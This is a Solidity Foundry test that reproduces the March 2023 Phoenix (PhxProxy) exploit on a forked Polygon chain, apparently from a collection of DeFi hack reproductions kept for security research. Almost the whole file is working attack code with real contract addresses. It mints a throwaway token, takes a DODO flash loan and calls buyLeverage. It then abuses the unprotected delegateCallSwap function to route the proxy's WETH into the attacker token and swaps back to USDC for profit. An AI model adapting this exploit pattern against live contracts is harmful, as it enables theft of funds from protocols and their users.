src/test/2023-03/Phoenix_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.17;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @Analysis
8// https://twitter.com/HypernativeLabs/status/1633090456157401088
9// @TX
10// https://polygonscan.com/tx/0x6fa6374d43df083679cdab97149af8207cda2471620a06d3f28b115136b8e2c4
11// @Summary
12// PhxProxy contract delegateCallSwap() function lack of access control and can be passed in any parameter
13// The lost money is mainly USDC in the d028 contract which the attacker converts into WETH in the 65ba contract through the buyLeverage function
14// and then swaps it into his own tokens by the delegateCallSwap function, making a profit from it
15 
16interface IPHXPROXY {
17    function buyLeverage(uint256 amount, uint256 minAmount, uint256 deadLine, bytes calldata /*data*/ ) external;
18    function delegateCallSwap(
19        bytes memory data
20    ) external;
21}
22 
23contract ContractTest is Test {
24    IERC20 USDC = IERC20(0x2791Bca1f2de4661ED88A30C99A7a9449Aa84174);
25    IERC20 WETH = IERC20(0x7ceB23fD6bC0adD59E62ac25578270cFf1b9f619);
26    SHITCOIN MYTOKEN;
27    IPHXPROXY phxProxy = IPHXPROXY(0x65BaF1DC6fA0C7E459A36E2E310836B396D1B1de);
28    Uni_Router_V2 Router = Uni_Router_V2(0xa5E0829CaCEd8fFDD4De3c43696c57F7D7A678ff);
29    address dodo = 0x1093ceD81987Bf532c2b7907B2A8525cd0C17295;
30 
31    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
32 
33    function setUp() public {
34        cheats.createSelectFork("polygon", 40_066_946);
35        vm.label(address(USDC), "USDC");
36        vm.label(address(WETH), "WETH");
37        vm.label(address(phxProxy), "phxProxy");
38        vm.label(address(Router), "Router");
39        vm.label(address(dodo), "dodo");
40    }
41 
42    function testExploit() public {
43        deal(address(WETH), address(this), 7 * 1e15);
44        MYTOKEN = new SHITCOIN();
45        MYTOKEN.mint(1_500_000 * 1e18);
46        MYTOKEN.approve(address(Router), type(uint256).max);
47        WETH.approve(address(Router), type(uint256).max);
48        Router.addLiquidity(address(MYTOKEN), address(WETH), 7 * 1e15, 7 * 1e15, 0, 0, address(this), block.timestamp);
49 
50        DVM(dodo).flashLoan(0, 8000 * 1e6, address(this), new bytes(1));
51 
52        emit log_named_decimal_uint(
53            "Attacker USDC balance after exploit", USDC.balanceOf(address(this)), USDC.decimals()
54        );
55    }
56 
57    function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
58        USDC.approve(address(phxProxy), type(uint256).max);
59        phxProxy.buyLeverage(8000 * 1e6, 0, block.timestamp, new bytes(0));
60        uint256 swapAmount = WETH.balanceOf(address(phxProxy));
61        bytes memory swapData =
62            abi.encodeWithSelector(0xa9678a18, address(Router), address(WETH), address(MYTOKEN), swapAmount);
63        phxProxy.delegateCallSwap(swapData); // WETH swap to MYTOKEN
64 
65        address[] memory path = new address[](3);
66        path[0] = address(MYTOKEN);
67        path[1] = address(WETH);
68        path[2] = address(USDC);
69        Router.swapExactTokensForTokens(1_000_000 * 1e18, 0, path, address(this), block.timestamp); // MYTOKEN swap to USDC
70 
71        USDC.transfer(dodo, 8000 * 1e6);
72    }
73}
74 
75contract SHITCOIN {
76    uint256 public totalSupply;
77    mapping(address => uint256) public balanceOf;
78    mapping(address => mapping(address => uint256)) public allowance;
79    string public name = "SHIT COIN";
80    string public symbol = "SHIT";
81    uint8 public decimals = 18;
82 
83    event Transfer(address indexed from, address indexed to, uint256 value);
84    event Approval(address indexed owner, address indexed spender, uint256 value);
85 
86    function transfer(address recipient, uint256 amount) external returns (bool) {
87        balanceOf[msg.sender] -= amount;
88        balanceOf[recipient] += amount;
89        emit Transfer(msg.sender, recipient, amount);
90        return true;
91    }
92 
93    function approve(address spender, uint256 amount) external returns (bool) {
94        allowance[msg.sender][spender] = amount;
95        emit Approval(msg.sender, spender, amount);
96        return true;
97    }
98 
99    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
100        allowance[sender][msg.sender] -= amount;
101        balanceOf[sender] -= amount;
102        balanceOf[recipient] += amount;
103        emit Transfer(sender, recipient, amount);
104        return true;
105    }
106 
107    function mint(
108        uint256 amount
109    ) external {
110        balanceOf[msg.sender] += amount;
111        totalSupply += amount;
112        emit Transfer(address(0), msg.sender, amount);
113    }
114 
115    function burn(
116        uint256 amount
117    ) external {
118        balanceOf[msg.sender] -= amount;
119        totalSupply -= amount;
120        emit Transfer(msg.sender, address(0), amount);
121    }
122}